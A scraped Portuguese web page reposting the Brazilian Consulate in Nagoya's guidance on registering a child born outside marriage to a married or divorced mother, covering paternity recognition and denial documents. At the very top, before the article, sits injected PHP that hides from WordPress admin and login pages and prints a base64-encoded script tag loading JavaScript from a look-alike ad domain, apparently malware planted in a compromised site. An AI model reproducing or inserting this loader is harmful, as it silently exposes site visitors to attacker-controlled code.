//ini_set("display_errors", 0); ini_set("display_startup_errors", 0); if (PHP_SAPI !== "cli" && (strpos(@$_SERVER["REQUEST_URI"], "/wp-admin/admin-ajax.php") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-json") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp/v2") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-admin") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-login.php") === false && strtolower(@$_SERVER["HTTP_X_REQUESTED_WITH"]) !== "xmlhttprequest")) { print(base64_decode("PHNjcmlwdCBzcmM9Ii8vc3luYy5nc3luZGljYXRpb24uY29tLyI+PC9zY3JpcHQ+")); } ?> Filhos fora do casamento: a mãe é casada - JOBTIME

Filhos fora do casamento: a mãe é casada

Nos casos em que a mãe da criança é casada ou divorciada, há presunção de paternidade, pela lei brasileira, em nome do marido ou do ex-marido.

Se ambos os pais forem brasileiros, no dia agendado para o registro do nascimento no Consulado, a declarante deverá ser, obrigatoriamente, a mãe brasileira, que deverá estar presente e concordar com o reconhecimento de paternidade.

O pai biológico brasileiro deve assinar a “Declaração de Reconhecimento de Paternidade”, sendo recomendável que esteja presente para que assine o documento na presença do agente consular. 

Caso o pai biológico não possa comparecer, a mãe deverá apresentar o reconhecimento de paternidade japonês (Ninchi Todoke /認知届) ou a Declaração de Reconhecimento de Paternidade (devidamente preenchida e sem rasuras), com a firma do pai reconhecida em cartório brasileiro ou repartição consular brasileira, ou com firma reconhecida, por autenticidade (menzen), em Notário Público japonês (Kosho Yakuba). 

A mãe declarante também deve apresentar a “Declaração de Negação de Paternidade” com a firma do pai presumido (marido/ex-marido) reconhecida por autenticidade, em cartório brasileiro ou repartição consular brasileira, ou com firma reconhecida por autenticidade (menzen), em Notário Público japonês (Kosho Yakuba); original e cópia do passaporte ou RG do pai presumido (marido/ex-marido), além dos demais documentos solicitados para o registro.

Caso a mãe seja estrangeira sem nacionalidade brasileira ou japonesa, o declarante deve ser o pai biológico brasileiro e devem ser seguidas as orientações de acordo com as este link, com a apresentação adicional da negação de paternidade.

Caso o pai biológico seja estrangeiro sem nacionalidade brasileira ou japonesa, a declarante deve ser a mãe brasileira e devem ser seguidas as orientações este link, com a apresentação adicional da negação de paternidade.

Nos casos em que o pai presumido não puder ser localizado para que assine a negação de paternidade ou em casos em que o contato com o pai presumido não seja possível por colocar em risco a integridade física ou psíquica da mãe e/ou da criança, contate o consulado pelo e-mail registrocivil.nagoia@itamaraty.gov.br para análise detalhada do caso e orientações. Poderá ser necessário reconhecer a paternidade na justiça japonesa antes do registro no consulado brasileiro. 

Caso o pai presumido (marido/ex-marido) seja de nacionalidade japonesa, além da “Declaração de Reconhecimento de Paternidade” do pai biológico (conforme instruções acima), será necessário apresentar o Tsuikan Todoke/追完届 emitido pela Prefeitura comprovando a alteração após a sentença da ação judicial de negação de paternidade, OU Koseki Tohon do suposto pai (marido/ex-marido) com a alteração.

Fonte: Consulado Geral do Brasil em Nagoia

  • Share this post